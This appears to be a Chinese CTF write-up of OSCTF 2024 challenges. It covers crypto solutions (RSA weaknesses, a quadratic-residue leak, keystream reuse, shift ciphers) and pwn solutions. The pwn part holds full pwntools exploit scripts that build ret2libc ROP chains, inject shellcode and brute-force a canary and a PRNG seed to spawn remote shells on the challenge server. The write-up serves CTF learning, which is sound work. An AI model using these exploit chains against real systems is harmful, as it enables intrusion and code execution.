[OSCTF 2024] Crypto/PWN

闲来无聊打个比赛HICON结果居然一题不会,然后找个软的捏,OSCTF,居然也没AK

Crypto

Cipher Conundrum_encrypted

NDc0YjM0NGMzNzdiNTg2NzVmNDU1NjY2NTE1ZjM0NTQ2ODM5NzY0YTZiNmI2YjZiNmI3ZA==

先用厨子梭一梭,得到 GK4L7{Xg_EVfQ_4Th9vJkkkkk}

然后ROT爆破,发现头部两个数字以外基本正确,这两个数字似乎就是CF的序号

Amount =  8: OS4T7{Fo_MDnY_4Bp9dRsssss}

把大写跟数字连一起移位,剩下的小写再移下,得到 

key = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
b = ''.join([key[(8+key.index(i))%len(key)] if i in key else i for i in a])
b
key = 'abcdefghijklmnopqrstuvwxyz0123456789'
c = ''.join([key[(8+key.index(i))%len(key)] if i in key[:26] else i for i in b])
c

OSCTF{5o_M3nY_C1pH3Rsssss}

 The Secret Message

小幂小明文,直接开根号

n:  95529209895456302225704906479347847909957423713146975001566374739455122191404873517846348720717334832208112563199994182911677708320666162110219260456995238587348694937990770918797369279309985690765014929994818701603418084246649965352663500490541743609682236183632053755116058982739236349050530235419666436143
e:  3
ciphertext:  123455882152544968263105106204728561055927061837559618140477097078038573915018542652304779417958037315601542697001430243903815208295768006065618427997903855304186888710867473025125

long_to_bytes(iroot(c,3)[0])
#OSCTF{Cub3_R00Ting_RSA!!}

QR

通过是否2次剩余判断是0是1

from Crypto.Util.number import *
from random import *

flag = b'REDACTED'

p = 96517490730367252566551196176049957092195411726055764912412605750547823858339
a = 1337

flag = bin(bytes_to_long(flag))[2:]
encrypt = []

for bit in flag:
    encrypt.append(pow(a, (randint(2, p) * randrange(2, p, 2)) + int(bit), p))
    
print(encrypt)
sage: for i in c:
....:     if jacobi((i),p) == 1:
....:         m +='0'
....:     else:
....:         m +='1'
....:
sage: m
'1001111010100110100001101010100010001100111101101100100001100000101111101111001001100000101010101011111010011000011000001110110001100110101111101101101001101000011011101001000010111110011111101011111001111000011001101111101'
sage: from Crypto.Util.number import *
sage: long_to_bytes(int(m,2))
b'OSCTF{d0_y0U_L0v3_m47H_?_<3}'

Couple Primes

from Crypto.Util.number import *
from sympy import nextprime

flag = b'REDACTED'

p = getPrime(1024)
q = nextprime(p)
e = 65537

n = p * q
c = pow(bytes_to_long(flag), e, n)

print(f"n = {n}")
print(f"c = {c}")

p,q相近,开根号后爆破

>>> tp = iroot(n,2)[0]
>>> while n%tp:
...     tp+=1
...
>>> pow(c,invert(e,tp-1),tp)
mpz(3945028812545637808042018636324314833755418799253921801566922550083889989109
4006174728061)
>>> long_to_bytes(pow(c,invert(e,tp-1),tp))
b'OSCTF{m4y_7h3_pR1m3_10v3_34cH_07h3r?}'

Efficient RSA

n过小可分解

from Cryptodome.Util.number import getPrime, bytes_to_long

Flag = bytes_to_long(b"REDACTED")

p = getPrime(112)
q = getPrime(112)
n = p*q
e = 65537

ciphertext = pow(Flag, e, n)

print([n, e, ciphertext])
p = 3058290486427196148217508840815579
q = n//p
long_to_bytes(int(pow(c,invert(e, (p-1)*(q-1)),n)))
#b'OSCTF{F4ct0r1Ng_F0r_L1f3}'

Sheep Counting

KEY未知的情况下对图片xor加密

from os import urandom


KEY = b'REDACTED'


class StepUpCounter(object):
    def __init__(self, step_up=False):
        self.value = urandom(16).hex()
        self.step = 1
        self.stup = step_up
    
    def increment(self):
        if self.stup:
            self.newIV = hex(int(self.value, 16) + self.step)
        else:
            self.newIV = hex(int(self.value, 16) - self.stup) #当step_up为默认空时iv=value不变
        self.value = self.newIV[2:len(self.newIV)]
        return bytes.fromhex(self.value.zfill(32))
    
    def __repr__(self):
        self.increment()
        return self.value



def encrypt():
    cipher = AES.new(KEY, AES.MODE_ECB)
    ctr = StepUpCounter()

    out = []
    with open("Counting.png", 'rb') as f:
        block = f.read(16)
        while block:
            keystream = cipher.encrypt(ctr.increment())
            xored = [a^b for a, b in zip(block, keystream)]
            out.append(bytes(xored).hex())
            block = f.read(16)

    return {"encrypted": ''.join(out)}

print(encrypt())

由于图片头可知,所以密文可求,ctr.increment()因为用到False所以每次都相同。也就可以每次用相同的密文还原图片。

head = open('a.png','rb').read(16)
#b'\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR'
c = open('encrypted_1.txt').read()
c = bytes.fromhex(c)
from pwn import xor
keystream = xor(head,c[:16])
b = xor(keystream,c)
open('Counter.png','wb').write(b)

#OSCTF{SH33P_CouNT1ng_111}

Love Story

def to_my_honey(owo):
    return ord(owo) - 0x41

def from_your_lover(uwu):
    return chr(uwu % 26 + 0x41)

def encrypt(billet_doux):
    letter = ''
    for heart in range(len(billet_doux)):
        letters = billet_doux[heart]
        if not letters.isalpha():
            owo = letters
        else:
            uwu = to_my_honey(letters)
            owo = from_your_lover(uwu + heart)
        letter += owo
    return letter

m = "REDACTED"

c = encrypt(m)
print(c)

移位,加序号的模,这开头无非就是0-25,爆破一下,都不认识的单词,只能试,恰巧是第1个

c = 'KJOL_T_ZCTS_ZV_CQKLX_NDFKZTUC.'
for k in range(26):
    ''.join([chr((ord(c[i])-0x41 - i -k)%26 + 0x41 ) if c[i].isalpha() else c[i] for i in range(len(c))])

#OSCTF{KIMI_O_SUKI_NI_NATTE_SHIMATTA.}

*It's Ascii, right?

百思不得其姐。密文可能是16进制ASCII码,然后换表,但都试过不对。

It's Ascii, right?

Find out the lost part of the flag:

OSCTF{PLAINTEXT}
Ciphertext: 63 59 66 61 31 35 33 41 73 35 63 49 43 69
Put the Plaintext found in the flag format
Ex. the plaintext if HelloWorld so then the flag becomes OSCTF{HelloWorld}
Author: @Vanmaxohp

alphabet: BUIADSEFGHJKMNOYPQLRTCVXZ

PWN

 LeakyPipes

flag已读入栈中,有格式化字符串漏洞,猜个偏移打出来就行了。

Buffer Buffet

栈溢出,直接两回合模板。

from pwn import *

context(arch='amd64', log_level='debug')
elf = ELF('./pwn2')

#p = process('./pwn2')
p = remote('34.125.199.248', 4056)

pop_rdi = 0x401313
p.sendlineafter(b"Enter some text:\n", b'\x00'*(400+8)+flat(pop_rdi, elf.got['puts'], elf.plt['puts'], elf.sym['vuln']))
p.recvline()

libc_base = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x84420
bin_sh = libc_base + 0x1b45bd
system = libc_base + 0x52290
p.sendlineafter(b"Enter some text:\n", b'\x00'*(400+8)+flat(pop_rdi+1, pop_rdi, bin_sh, system))

p.interactive()

Byte Breakup

有现成的system也有/bin/sh直接弹个/bin/sh接到system上

from pwn import *

context(arch='amd64', log_level='debug')
elf = ELF('./pwn2')

p = remote('34.125.199.248', 6969)

pop_rdi = 0x4012bb
bin_sh  = 0x404048

p.sendlineafter(b"Enter the password: ", flat(b'a'*0x28, pop_rdi, bin_sh, 0x401252))

p.interactive()

seed sPRING

时间作种子的猜随机数,用ctypes库随便调个libc,但机子与远程有时差,爆破一下,如果机子正常可不用爆破。

from pwn import *
from ctypes import *
from time import time
 
clibc = cdll.LoadLibrary("/home/kali/glibc/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so")

context(arch='amd64', log_level='debug')

for i in range(-20,20,1):
  try:
    p = remote('34.125.199.248', 2534)
    clibc.srand(clibc.time(0)+i)
    for i in range(30):
        p.sendlineafter(b"Guess the height: ", str(clibc.rand()&0xf).encode())
    p.interactive()
  except:
    continue

ShellMischief

直接整个shellcode

from pwn import *

context(arch='i386', log_level='debug')

p = remote('34.125.199.248', 1234)
p.sendlineafter(b"Enter your shellcode:", b'\x90'*0x100+asm(shellcraft.sh()))

p.interactive()

Lib Riddle

这题跟第2题居然重了,这主办方得多不走心啊

from pwn import *

context(arch='amd64', log_level='debug')
elf = ELF('./pwn6')

p = remote('34.125.199.248', 7809)

pop_rdi = 0x401273
p.sendafter(b"Welcome to the library... What's your name?\n", b'\x00'*(0x10+8)+flat(pop_rdi, elf.got['puts'], elf.plt['puts'], elf.sym['main']))
p.recvline()
p.recvline()

libc_base = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x84420
bin_sh = libc_base + 0x1b45bd
system = libc_base + 0x52290

p.sendlineafter(b"Welcome to the library... What's your name?\n", b'\x00'*(0x10+8)+flat(pop_rdi+1, pop_rdi, bin_sh, system))

p.interactive()

Coal Mine Canary

先要带出出那个串来,不必一次完成,毕竟文件不变。然后就是溢出到后门。

可运行时发现远程的地址与附件不同,差0x122。没办法只能爆破。

from pwn import *
 
for i in range(0x122,0,-1):
    p = remote("34.125.199.248", 5674)
    
    pay=b" "*32+b"NECGLSPQ"+b"A"*16+p32(0x8049259+i)
 
    p.sendlineafter(b">",str(len(pay)).encode())
    p.sendafter(b"> ",pay)
    p.recvuntil(b"A"*16)
 
    try:
        print(p.recvuntil(b"}"))
        print(i) #0x08049337
        p.interactive()
        break
    except:
        p.close()

  • 25
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值